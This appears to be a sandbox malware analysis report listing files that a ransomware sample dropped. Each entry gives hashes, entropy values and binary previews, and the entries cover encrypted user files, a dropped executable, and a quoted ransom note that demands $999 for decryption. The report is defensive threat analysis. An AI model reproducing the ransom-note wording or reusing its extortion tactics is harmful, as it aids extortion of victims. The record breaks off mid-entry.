SSDEEP:	1536:g+0bS140SfEyZx0hJ+PzbJH0G9fNlWnMHFwNWLib7uu4RNW3/RJ4h7nV:gf0Sf7Zxk+P5HP9FIwHib7h4kZyJV
MD5:	032FFFED72D6ACB6AE0CFE0CFA499F65
SHA1:	8F5934B66D7AF1DB0DF60CE7AD10432EFF03567B
SHA-256:	0C6EB45A8423BA60A06E07C75330AA3D899E27AB50C2A6CA5D5BCB3CD7C2F50C
SHA-512:	287168E586BC74A814EDED58E7CF4F2ADC52891F8EC63E952F4F3A85F4D3601D56FA16BB2B9BD04216B80160C7CCD9DF5DDB57A7A6B4052D6275A4D32ADCF5DC
Malicious:	true
Preview:	[{"Sy...E;..5.W.`}'w.d..ec..aZ{........8&..Uu];.y.d...8SvFd"4....:'.@.).Z.Q..}1......8..B....h]wYQ.9[+EgY..l...s...<.......E..L..cT.^.[..yb...K..,8.Y5.....,'.#.2/T.{......n.. .o.)p..L.M/..ue..iy.;..<.b..?.+B.:..e..._.)9{.R.hR`T..@._..9N..K..;........0..:(x#.@v~">...A...WL.Z.?..0.)..'.crnz....".....x.6Ms.....ga..F.._V..aE{.g...j........a&...dp...s/....F._.-@..,..Ee.^.@.D.b/.N..?.:\|o.V.q.2.K..b.d.F.5.....{......o#T.R.......^...fY.....v..,..O...A..U..V....9P......O7.<wqp.M.Ul...:.kd.u. v.....`.Zm..m.A..X.....f..<.4i$_8........,%(Evt.qg.R.........p...E....>...P.I.1....4..q2...4..J......y...s.....kAR..A....4c..:..t.p.=w.\|.%u...Pf..Lw.(...a.6..>=...<m...........LP...;4G.M.:....Fm..;..fwt4..Dv..i...S1....g8^..........15`t .T....X.F.t.\..-...Bm:F\. Y.:j..a.P.o.fx..AF.\|.y....,B..4i.f...y.Y...y5f....%...5..<-....p.T.+.............J...s....Jh.V."........y.d..7%..f.`.Q-.~:...3<...T&.S8<...G.a....O.....g..d..>;\| qF...r3..-........W...zJ.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584268039583524.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	114335
Entropy (8bit):	7.998450803888244
Encrypted:	true
SSDEEP:	3072:SF67yKQf4lwxNnHqE/aif/4TuEUD4zSKnJ5Ae0A:h8yyqJG4TFtSOJ5Ae0A
MD5:	FD5C3BBAFFFF6714815ED55B17B478E7
SHA1:	98E480B96BF3F321607EB14AFB5302D239F34883
SHA-256:	A2912C7298EA549D05EBCA4364839BB82B38FAC183F71666063A5022E934DC98
SHA-512:	3F57B2FF94704BCB8DEC50AD2D4A828B6A874DD1352215FC93A4273488E9E0A4231F5177BE2040291D245BE78B91F0E68DA950FFDAF5DC7D0AA8D0CE611B4798
Malicious:	true
Preview:	[{"Sy..$B~...k..nH....'...[,#O{..V.E-D....JX2b[.T.h b.p.r.t....X...j;;...M...y>.d.1n.]...A........?2.....EDyi..(..s..8b.O.~.]....3.b1..y..m&.....W.#.z...b]..3..y.%Y..x....M..c>fN.Tv./=..t..e..S$N...ws;.S..h.x.#....,....p...k...FF.<.W..j3.,.....v....Q.......8$.....8.9..!E....Q......JN.~....5...{.(.d....=..^..f..~.?..G2...l.j$..)E....$..G...`..Z....-FPf]Xn....Ehbvi7......;..E......[=.d.W.........l.%20mK0W.."U.Vw.../.Ew.?.(....K.....'.&...U.)}...si..hf.x....!#.....N.ZYn>c.d.\|d.`ow...ZM...1e0+..p K...I.../.........G..<.'}.e%...[..........S.X[i^.K..w.'YCj.KG.d.<G....N....i.S(..!".R..\.7.z..\.'<.`7.....x,..m.v....V)K{....t7.......@,C..!..*.x.......P......\|..M.u..@.2...\u~<m.=Y%..f.........u......4.&.V(,....:..8..."Q........87...t... .?...T.;?a?.L/.{.....l..i...n'xb.L.Z,.......y}J....r..c.U.nph.x.]..k)kw.....E.n...Y.$...B... y.C.........?.a..y.8.....V.`..8..c..+e.....56..ZFs..%.!?...IN4..s..%?...N..O..\J...dv[Q.....<....G.L.P..lN.N=

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133584268340709986.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	113668
Entropy (8bit):	7.998432756925135
Encrypted:	true
SSDEEP:	3072:NXnMAkxFeTwn0ri7xR0mV5w+eqKQ0WBei:NXnMzysn+4RTwcKHWki
MD5:	DE8F9D1208F562EC1409E36DD7E63299
SHA1:	E6742A0FFE706509B530833F40551BADAE458696
SHA-256:	D2DD8B12C11DB057604212B4FDD1081161EA8574FBD7C723EF5673B8520448A3
SHA-512:	50EC2FC9251CFD742F03F2F63C7F1DC4B124D3BEA32EFC0FE3984615914F5F7B1EBAD35E62303C4CFC1AECAD8B95E6B2873D490C6AF5E1C60904F09C49819F2E
Malicious:	true
Preview:	[{"Sy.. .K.......F\|...0.y...e...noB.;.b.@....D....;v.....H....$L..e..X.V.N\S.K..+w..6R../.l..W.9....x./{.l........{.../..U.....4U....;..[,.@S.'/.,N~.$.5KW.....P.x..!........z....d....}..c._.Z.i-.Y2zH...K.... "ut"6.uR...qU..m0..k7z.-V-.......u...).Pc..S.....8...:...i.u.w....8.d.....=....]......SY...pzH.........N..N..U.u..xI.a.....aKf.P.].#{N..}...f....2.......s.6k....."...S<...T.I;/..X.<...Zdw.F..e......+....:QjGJ.rc2......+/...t}?.M._...a..S.B..Yd...3.."M...X@t.Y...FM..e#t.Kc....PE..9....<J.2...P.2.H'N.R\.X.v;%j89..z.}.kH..}.B.@..684f.;....M.q..H.m. .u5J.e./....U...M\...:...Kw.......[.&.........<........=..R....Y..P..r=.r..:.Z.ww\|..8$..:.@}.....H2.>i1..M4o3../...MVWAe..U.....K.....q.2.nk0..._C...F#.!........{8@.....grI..I.....Y.h.<w.Wr...Wx<P.!.....j.V.......v..\|._...B..5.f.Dm......c.\v.:Gq=C.s.....\.r.ow{,.E.).).5..V.!........ia.............l..).a.}.i..u.9..L.s.v..^.qj.3...w....:..../.....U@U..D.F.B.%..!..{.@.<.......$......".3..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.208664353788271
Encrypted:	false
SSDEEP:	12288:qtKonlbcuP2oGotdYuMOCc5MpzgroTDLgH:6zRcEg1uMOCc5MpzgroTDLq
MD5:	59811806B091C22B07C22015899814BB
SHA1:	476D1B3A46AD32B8AB6AB8C933AB4BB82A102B49
SHA-256:	822545220E0530C3F2B1ABA3CEA9F8878D7C8975122CE4AC2B973BAE90B31C97
SHA-512:	94EFF306E05560D92568CD315E2952BB2F16F85198718F6AA28F25E0632539698DE0F90D699B5511F95144417AB7A1FFD393ACD35A2C378B28C95CA3AD3AE7D7
Malicious:	true
Preview:	[{"Sy.#{.!M.......[.=p.)2?"".W4M.....t..6...}v...w.6...../....~\|...MN9w$Z.....1.+.<h..l?....2%.2..[W.......%...B....X.#\..q...YMee..RK?F...^5.w.j..'.xb_.....S.... .....Pa.Um...(BI>;3z..H.#..s..-.."Z..ds.TMT..B..^..V.CA....D.. ..V.}I.iM.../.V_..@.fi\|J...k".....2W..sqC.vm.h.2_o.r.e....-......'..BO...!....m..@.+.j[......,.......:.n..#....7.m=.7m.....x ].d......(.._.u....(T'.1..k4..AB..q.P..~........._U....l....0.4..z.c......-."......y.l..4...^....../&.._...0......w.R...Q.3. .1T..L....m.&#.k......>...ty.V..../....E.......D....@>...$..B..eX..q.d...>....A6A&d.\|s\YP.~.B.....fM.&..`Y.6 VX.>....q@^....K.Jy6.JRZ.:.E..`D.....j...71A.....\.9.4`...F....2^...?p..............Y..;."....7.`!..x..=....L.S.9o...g..Rf.\....+.~.{t..1..\.C..\....%.. .._...........J.h(.!.\.O1.O.N.;.m..1E.J.....)...6...x..,..tx.~...G6...m..rFJ..Y......"..).=.9v...XwTh.=._.w....1.TF.u.~.......15.Xvn.3.j.:E.4...N...f......D..zo).[.\....Fa.....&.].W...f]...*.J...p[ n...0.....O-../

C:\Users\user\AppData\Local\Packages\Microsoft.XboxGameOverlay_8wekyb3d8bbwe\LocalState\DiagOutputDir\LogFile_October_4_2023__16_5_0.txt

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	615
Entropy (8bit):	7.65080102844301
Encrypted:	false
SSDEEP:	12:wd3HL/O18c4/jV2t+KhXl/jjPJ54kul/8b7eJ8jVdEsJQscii9a:u3r/O6jVg+y1P0kul/8XeJ8JdZesbD
MD5:	9C285E6546E04F71B8ED51E24A640B64
SHA1:	B5BC2B4ED83DDE3E281F180C069EEFCDD6C42CD2
SHA-256:	E4EDAA597393EE79C21B06082C6D19B403AE0B61CCA5955DD79FDCDBDB1915E6
SHA-512:	A1BB3A4A7B3C78B9C56D2E6601F7B6BACA7ACA9B7315544F530EAA25DB9E63EB57353518AEC516E251678F88310C3914EEB7AA7C609FD04BAEBE73E163E19DD7
Malicious:	false
Preview:	[000:.j\|.,..C.&.~R4.........K......a..z~{...\|.+.....o7Q-..\_.w...a........q.....L...[.3..&........j+0cB.d..0Z..b....o..{.]..\..........(X.e..tq...h.3.6..U.;.p....~..4.5.3..`...IMRx0.H J..?...u.;<.r.+q............";^h......B..}A...,,...K...6......j...'R...N.Rm...UwbK.o.:...2.RF..%......M......^.*..$9..;Q...G._}...k.wm".6.....n$D#-.U0z..D.)c.e.~gV.Wm..[.\'..w....d.#.c...%..M..55)X.....]....U..t8..Z.].P/...8Z_..\uG....]PG."v..T.s%.....O).4.9.t...p..w.7-t..Y&/.o.H.-I..........)...G..[`...AwSF`..Th....n.U..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Packages\c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981541379582226
Encrypted:	false
SSDEEP:	192:1OaIxitIPDnYPBPW/G7W1ni3HT3JaC+tclztqR6PA07+:LkiyDnYxW+7W1i34LQPA0S
MD5:	02A510E2E24737C924490F37811B9B6E
SHA1:	87C2842972DD9456AE0BD8D1C72C80093817E23D
SHA-256:	F5F234ACCA05054A134BCE546A0ACE565085F6C8C4A11D43D844905575348697
SHA-512:	EF60C6229337FEE1E47AB0655062F61CC17D6BD6CCE4377B521F5BFF742012A7A7647D468128BAC940DB0F427DCAA60C8285C5A945E64F33F50E60FE48365ABD
Malicious:	false
Preview:	regf..,......7..g.$.u..$.^.,gA.3.g...4...T+.V.7....mw#.2.#...W'y...zE....l.`..A.o..o..."&x......N......8}E.&h.6.6.......%`........B:.FH..)..q..~.8...U.,..3...B........,.G..rn.FY...S....R;.VrK.......b....v...o.H...+{.\l...Ve%.8.V.6....L:..$..\|...=.......~.5.}I...-..AaeJ...O(.......i.h."+...k&(..9..f..i]...8+#.0{.../...\.G1.}1...i4@........[.Z.....{..D.T.c......#)s7J...t..K...[..p..U.=.X..$E.\|%0$~.....x9.rS.e....~..... .).#gB......_..ZoPG....$l.~#.a...aT..H_.W./U.1....F...m8j`.'.m.....:.}B. P.3.....i...d....Ox..P.k.5.:!R~...W&........Jz..C"DzY.Q...E.oi.......Z .G.9...k.`.x..).<....([....w.-..V?..L....S\.V.g/..s..G.K.8\9..............,.%@...:.\..Z..T.. ...'.^J...NKY.5..RB..K.H..p.....v.......lA..9.2..x...@....w:..;.xmE..-...ofY.,....D.T=....%..D.-.e..`r.._..e..!...3.H..l."h..f.....`.w.?..m.t+\..P....0.+..j..'4...DcY-~`.....,K.k...%w1..!/.a...Q..aVTS.U..kn!.....)r...a$qZ.E..~g...&.....j..88^,...M....G.l...#...l..%a.f...M..>*X..l.<.../9f...\|=GY...

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204912112450842
Encrypted:	false
SSDEEP:	49152:0XjC38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKO1:0XoF1qd/LKN1
MD5:	C72D62AB215F57B98DC72297CAD80A32
SHA1:	C6D7F1AC2A6943A11EC5D6999A4AEC7A8BDD8D2A
SHA-256:	E13B3787FB94C4BF6F33CDED666765231BAA690F255F84FD73EF56D777402E1B
SHA-512:	E3C44252E5782DDB0DC527BE27384E0473238B4B6C4136186FF348C99A820F92DD3BB93EA9FEC8255E105395DB47F4D3F263B66AD89F6ECF89CEB64261569E00
Malicious:	false
Preview:	Microk....X..p.P.s....v.R.v..j..;.zK}X....b.@...s.......0.~TUg.....^,.~.d...m...?..&..f.x...w^a..[]@....J.h........4?.\_.&.jp..^.r..h.....z..#\|... 8....}x......4."..O..M.aQ.~...Q..0J).D...V.J....~\|=3w....^U.@......9'.$:.7.....Qp..DO...... A..b.8..V,....m0..ksR.<#%..s.....+....d..~..lR..X.A.z....j.>.a>...e..1..h..K8.B..(..!...BXL}v.i...I.:...A...33,..o8...=$;}.........E..]..*\.&d..wG(...V..y=.tZ.JT2.J..cb8.b_.=....\|.u..v..06)n8.&.(..rO.i...)...a..#..W.8\|b.......uu...^R.g..=.E....~..C..m.&..g2.s._.?...c...k.F.n.S#.nf.f<Q....xG...0.../..P....=...n....R...y......s..`S.%b...}n%W..`Zt...tq.p...Ql.Ld+...r0..X..q5.....,P...<..Mo.6N6.\|]...{...q>ow...$T.....w.r4.[..5..%./.~.!.@.(..?.M..q....'.c...KfTC..U.........-.!p3......N.&M....ut...LC;...V..]+5@e...Pl.V.s.C$...<.. K..8Z:l...2........2.`>?..T,!.Q~.....L.T.($I.M...C..=.p..7.ly....H..P......+.{..S....W..E6....o.g0...I......&.&.W.....Y........\|..J.E...Y.....y.."..e../.Qj.,.]..J.mf...D..

C:\Users\user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8547662
Entropy (8bit):	5.204963696918072
Encrypted:	false
SSDEEP:	49152:f/9ag2y38OPKW0ANge+q80Ibxh0T4tI6lIfKi5YJj1PKu1ZKKO9:n9ekF1qd/LKN9
MD5:	C44258796E49B8982A4E2845034CB79F
SHA1:	99C4C93338164DEBA877AF6DFB12DE6C046D94DE
SHA-256:	0A2FA60B3BF68F26CB2D6EB43A6A1EE5BAC575BC3ACB89F0CAD78B25577CEA53
SHA-512:	0389F60087C55DC54F63D2DADB228A1040D99ABAF1D80737698F6C4F178CD542BF768A86FAEBFEA45F53A0EDE546B2807C5D18A9E7E2871FB5BED4D096689AB0
Malicious:	false
Preview:	Micro.O..(~6...xD..C...!^..T.4...t..kp.p.@.jw......l.....'...9.......w)..p_)S6l..c.....L...Ii..2......5......!.(GY.@....5......@...u..+V['Y....0...c..d.%.....p4Y...{R..m/....d~.b...X..j..;!.P..'Q..J....D....M}~.&]...2Z...J...:Q./..-..Q....Q...=f.."...}..m.&...k..w...w.L..'...-.I&w..i...V..T..\Q_.Q ..Ep..1..rxL......@z.......h..&.....Gk.rj.>...=....J...#....J...aW.}.^.A....&Bz..M.. ..]ra6......l.[.T...M..lq..?...O6..3=...).N.......a.]k.3.....Z.d4....n.U..o.b..t.j.S..S.7.T.q.BxD8.....M...BH!...(...ST._?....r....-.`~.n..F6...MOI.5.....sY.!/G;o..K....\|/#....Z.k7...9f....FrJDbb............M\|..../..U.+...9.$..,o..aU4..S5+...%H ..!M\.................O.o..d^.?T].........A=L..^.\.H...S>?.uv...5uAl..,...=...?\..].q+...#.@H...6.MV....'.Y...."..'..C.8.LiOPT.%M=.^.G.M.g..h......O.A. .D.47......?.C.."...P.G.h.*.-.:...W/..C.....D...._.-.=.-j1.Q.K.5.CRl.....V.v..h.......m&.{}....16.6..S...3..Lq...f....l.{..U.H\|...E....=..;....]>.ADB....,..,-v.8.J.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.66213461808004
Encrypted:	false
SSDEEP:	12288:GjFHh4zRPATJQ4aKVmaS4aMz8Pg3lxJo2cvXt2:Gjlh7TBaKVzaYcAqt2
MD5:	55BCAD2D7DA3E6D2417852907495217A
SHA1:	17E82AE1AEFC2380D6BF985C4174B84860C51C25
SHA-256:	6745FC8A6A8349D43B8EFD6A0AB34C8C5EA0292B1988DC6DB1E1FF6AEE27B5B2
SHA-512:	419E729AC935C875B617EC857AAB26A507250E2CDA034206363F9E0FA3A76A84AED35464350EFA7E34F03F9F386FFD52BB59B329E9095052439CF03965F05621
Malicious:	false
Preview:	Micro."\((SY->7.d...B.C.I'3...?.6X.._....\..Z.:gn.x.+a.q......9.t.n......N......,.\|.B.a....C...&...2.E++k.)-.'....z.Z../...6x.]....H\J.....(.....S.a.)5G.P...wM.^......Q..J.^^$&.x..>.. 2..]&^..0..G.....L.....n.9.7U..t...8....q.}ci.Y.t.8.s...Q...y.X;+.........&P.z.....2..n.........t.`.:7P..L.O?&......A...Lh.}..E.hBP#nl...`.3.V.k.{...i)...R....4.....m.....+...GDN....5...f.=.U.U.....kY....(.:....tW.R....{.-......\Uu..49p..:.v....%....[E...i.......u".-x.)..BCf...Au..rb...(t...P...Ux.....)A;..Mv...>kY3...@....g...t...f..........q`u.pz.;...zQ..]...g... .6;S:......48.<.K.-d......#.....G....nL@d..7......<P...../...Q..3.,.....X....[..L....M.H..B..L .Ef...........H\.....})b.[...?.8..DWr>3.....\|..h..f..j.~..3...".O...`.E2%.H.N...Y.We......*T.;=.I...I...Q.&^%6.AU.)....=.}N.1.1].Zv...q:.....i.O.a.@...g......o:]q;.$EK.<N.>..@..7.K..c....(..s.".$...L..f.r.V..XI5[..K^..>\|..y^.m.G..<6......)Z2.........2.......lT?..05AU.\|O.V.Eo.xs.Ja...hN.YT.

C:\Users\user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1192270
Entropy (8bit):	5.662443529516445
Encrypted:	false
SSDEEP:	12288:98+KX01OQfTIUcOyH2JQ4aKVmaS4aMz8Pg3lxJo2cvXtl:NB0EuOO2BaKVzaYcAqtl
MD5:	BD7B5A2EE651B10135C67287EA9CE30A
SHA1:	50F50350938F6BC86743CDA1AA78E83307E6F0B8
SHA-256:	9F09EFCA83A861C0D52A4ACE0467B0F091D8CDAAFCC32A73E9C1BBFCD9D0EF0E
SHA-512:	96BDF823F0D452727DF3B95D592D676CBEAA3511FB0616E5F60621257D3D789C18177895663450938F4063068A1204AB0B1A3BED3B9899D75E638BF1D178A9A8
Malicious:	false
Preview:	Micro..Y.x....M#........;...H...)..).a..f.8.Uu.b..^[..\N!..E.\....=../G....?...g./.0a..#.....45e.y..,...q&>2.. y.@:.@.(w@e.EV.............ub..G..(.;.ns)....h.c.......f.t. L fPk.ux.f.z..z.8.....9.~%....A....z..;@..O8.&...d0.<2..n.f.Rn7...{.."t..l.q.~..............4?.3....o...Q.y....5NF..@!fw..Of..d.F......b.>f.$..6}.F.6...%,#......=.0.5....&M...`m..8U(rd...2.....n.`.R(.Uk.=.NE.;...._D.)/....R8......6'........=.n.....HL`...m.... n....a.p~.2..n...H..Ek..^.L}...w.d.Cn............."..,`....2..OkTA_...#.!J.?..q)!...Wxl+.......^..;...v...u.a.X.j....,z..S....@...>....+...k..j.7E1..6...@..<..1:E..I...lh.S.c.+......mf.^.ND...l.S.aM..E..3...t...j.-bx...Tq..yH..w...+YGP..]T..&...V...0.g....x.Y.`..(....,.......3.....U.....+..q...3.I...W....S....%.1.F.d...SW..1.......xd.E5V....nv..U.N.Rz..[>..F...._...%.0.bz...1U...&0_;....r...$B....@q.1<...$....}.Y.../ST..Y..c...f....Q..h.Vr..>r!.<.(.e\|..f.~..s..^"....U..w.....vnk..H!....*.C.o.PPe.Ax...

C:\Users\user\AppData\Local\VirtualStore\_README.txt

Download File

Process:	C:\Users\user\AppData\Local\20f61a03-333f-4f7c-b968-f4899d3e37c5\Z4CYGTBlj7.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1381
Entropy (8bit):	4.886902769076487
Encrypted:	false
SSDEEP:	24:FS5ZHPnIekFQjhRe9bgnYfJeKAUEuWEYNzk5LmFRqrs6314kA+GT/kF5M2/kJw3C:WZHfv0pfNAU5WEYNzoLPs41rDGT0f/kV
MD5:	DA7AFEAE8B1C0BFBA8EC3049E4183D79
SHA1:	A988BC269E10958101D519FFF2EB53B683F8DD86
SHA-256:	02D3BE759FEBD8BC1949FE18220550E2A2C73DC764AED3D8F108C0676E8BE517
SHA-512:	384B94BDE8D2B9FC2834F70888855D2297D950E52A1136C6B2EC4B8AA5FA0AC5D8636061FC71D4E7CA4FD93CA45F1FAF65AF8970599C6B0AF99E382D5A71CAE4
Malicious:	true
Preview:	ATTENTION!....Don't worry, you can return all your files!..All your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key...The only method of recovering files is to purchase decrypt tool and unique key for you...This software will decrypt all your encrypted files...What guarantees you have?..You can send one of your encrypted file from your PC and we decrypt it for free...But we can decrypt only 1 file for free. File must not contain valuable information...Do not ask assistants from youtube and recovery data sites for help in recovering your data...They can use your free decryption quota and scam you...Our contact is emails in this text document only...You can get and look video overview decrypt tool:..https://wetransfer.com/downloads/54cdfd152fe98eedb628a1f4ddb7076420240421150208/403a27..Price of private key and decrypt software is $999...Discount 50% available if you contact us first 72 hours, that's price for you is $49

C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe

Download File

Process:	C:\Users\user\AppData\Local\743db1f4-5a0f-4710-961e-486895a5b43a\build3.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	306688
Entropy (8bit):	6.7250330334577075
Encrypted:	false
SSDEEP:	6144:2neDcgRQv5VaNT9DW7a6dtM9VstSttuvqIT:2O0v5VuT9DW7hdt9tKt2qI
MD5:	41B883A061C95E9B9CB17D4CA50DE770
SHA1:	1DAF96EC21D53D9A4699CEA9B4DB08CDA6FBB5AD
SHA-256:	FEF2C8CA07C500E416FD7700A381C39899EE26CE1119F62E7C65CF922CE8B408
SHA-512:	CDD1BB3A36182575CD715A52815765161EEAA3849E72C1C2A9A4E84CC43AF9F8EC4997E642702BB3DE41F162D2E8FD8717F6F8302BBA5306821EE4D155626319
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 87% Antivirus: Virustotal, Detection: 87%, Browse
Joe Sandbox View:	Filename: SUwX12D2S6.exe, Detection: malicious, Browse Filename: rq0mVjR9ar.exe, Detection: malicious, Browse Filename: UXNob1Dp32.exe, Detection: malicious, Browse Filename: mJVVW85CnW.exe, Detection: malicious, Browse Filename: JfOWsh7v0r.exe, Detection: malicious, Browse Filename: AaIo4VGgvO.exe, Detection: malicious, Browse Filename: 8xFzJWrEIa.exe, Detection: malicious, Browse Filename: 2llKbb9pR7.exe, Detection: malicious, Browse Filename: CDssd7jEvY.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.W32.Kryptik.GYGF.tr.29287.4482.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......6..kr.h8r.h8r.h8...8s.h8l..8n.h8l..8..h8U_.8{.h8r.i8.h8l..82.h8l..8s.h8l..8s.h8Richr.h8........................PE..L.....a.................j....;..... .............@...........................>.............................................lh..d.....>../..........................................................0...@............................................text...rh.......j.................. ..`.data.....:..........n..............@....kic..........>......\|..............@....rsrc..../....>..0...~..............@..@................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.85969340753304
Encrypted:	false
SSDEEP:	24:YrGI+6UUMklWo+3pcy+KU7HKmtcPnkF0a4G8rKfYoMHVT8UB2BackYtUTi/f4UJo:RtA+H+5PQnw54G8rK8Th2acD/NJmD
MD5:	0965F96F166B60B0136AA184E4FF76FA
SHA1:	2847828FCE0F29E2CD252F3C2099B41461ABBD89
SHA-256:	85D135414C3D3C3484EAA2EB5945B1515077981718AC2DA131A03CB6365BC30D
SHA-512:	E5E9D26D7C98D1542648BA8B147EA76308DFF7DD3EDA3661F2BC191838E54ADE0FE5A968AC798A26D4CFE046E74BA118E81A67D1B178B671B06FC9888A97EB3D
Malicious:	false
Preview:	GRXZD..S.J0..........$......aS..r9....`.H.....'.o.o...J._......%tN..[.y.?}........a...w....gG..s.."....../\|.S...K?s..;......)P?y...7..H.Z=.EN......s........W.....8.r(?'w..oAM.n...`#.A.. ..K..&,E.w.Z.r....%(...J,.{$....uI..3..s..2.J....U....x..s......@o..v.N..1....]...Q....R..V....r.p?.."..:.h]Ua.C..'uE6J...E5....![...euK.. .e.y...i.....x.~.N....CkU8C4.....l..;LJ....... ..I....I{........{..{.28m.me.%2..\|....#..p6-.......&I.D.Y.$..4...7c). ..R.76.9gZ..].<O....LD_.....E.j4g..9.~...%...K.6B.gz.m9it.....Ud..\|..r...M....B../.T0...dfk.T.... 1...."F.2.....9....CCI...6..rq(.."....*0.=......7.....J.e`.V..\|..Yu5.lD..../.;<.m3".H..PY..W.....Se%..\|N....C...Z.B..v^1z...f.....(.....0....f.Az....-j..p{.4qk.m.t..+a..7,.L.)..?.?..hi..K./.....<.p.......Y...(/.w..pE[.q....b.F.A.o.....3.n..\|_...?g..\b.......'X.C&0.6..o..W.Qk....w.Bx....)3..-...2!0#.o..F&.(...Z!......^B(.Z.g..O.Q_G._..s!r...L..y.\|.....0-..g1J.1zlZ.TT....D..(.d.j%.B.Z..p.Z'..J..Dw.X%..l.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\GRXZDKKVDB.xlsx

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838151219445605
Encrypted:	false
SSDEEP:	24:A+l9O+0eShe43h04Mik4DbQYFeivfXmpqWZe3RA5dammEqEP35FP/PSoDf3D8Cvp:Ay9PrSFxrMLysmeivvmIrhA5dVqEPJF1
MD5:	249565EF9AE6A73A8104694D976C3F28
SHA1:	0EA9B94363AFEA8C1D0A957ABE0897A38667950B
SHA-256:	49BA6991D41A95875B8010C166E48C7FB25D3E7677748C64E0C17D7C9B929774
SHA-512:	E56C145746B0F14A24E9AA89F0132ED0BF0EE390527769CC9A83E6F7001A46E7C0EFADCDA15417FAD7BFF291A55AF46D90D9728CE0671C9E45DA35A29C2AE755
Malicious:	false
Preview:	GRXZD..'..S}.......\|.V.Y@-..9./..y.)g./.5.M...\|..<...!.[...../.......RGm.8O.Q......[z..)..goP&k.....8.{...O..Wq....O......w...D.K..HSHQI..U.4<...q./...C..p.eI..b...:.\|..9x....~.?`I..Z1>.a..k.......uog.rz...w..o..sy.3l.Jp.\......5.q\e.'.n.1z1..kvab..).C.K.....v..p>.Y#n..#.j......I.@.A...P.......1RH."^..r.I..!...'%.v1..P{..Rv....YZ...&a.Zn.-....<....r!.L?..xD5..^)..Qi..F2w_......."....x_..~.Aa.6.ur.....K......tNyt1....0....$...L...v.@.I...UkEmCI...cw..X..G..V..x{.;.. 7(.Y...E.8...J.]...6...x....u.'..i.l.&.k'gIa.e`.A......d<......U)...(.-zG...<...S...v.g....X.......Ay.L$5q.B.i...zH.X...z#z..............Y.H.."gyOw..L.W.*:......p..].:.]......72...'...>...o..T.J..6...c..$..2.f{.+[z..\|..\.s....?.?...g...llC....`}..e...F.P6."g.i.....w.1Hf.X.>.p..a......<.1...+....fg..MfL.i6.zA. .m.g.z..CQ~bIp.g..b..[..H.L^I..rI..i...>..w.......r..[G...1B.R.K.v..{...j2...Y...)..L.H.....a/7L~..`a....3....>)..[.2.....?.\|....q#.:>a..or..e{..:...)r...L.<...D..V.;........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\JDDHMPCDUJ.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854270731133537
Encrypted:	false
SSDEEP:	24:f4unHosGJRIIEJTTg8m7g+i0QJ5EJqsv5QTvAOiVlgpZwu63wFsbD:fTIsGJuIEJTTT+eJ5EuTvAOOlgpZAWmD
MD5:	D59719E9FC91BA7395B7BDC55FDD1A77
SHA1:	7AC5EE5F91E1AEA19BF40DD207551B66949848BF
SHA-256:	5E444AF33099A75892850634560F6E77367AC89CB6DDD76C3152BCEAE57DBCD0
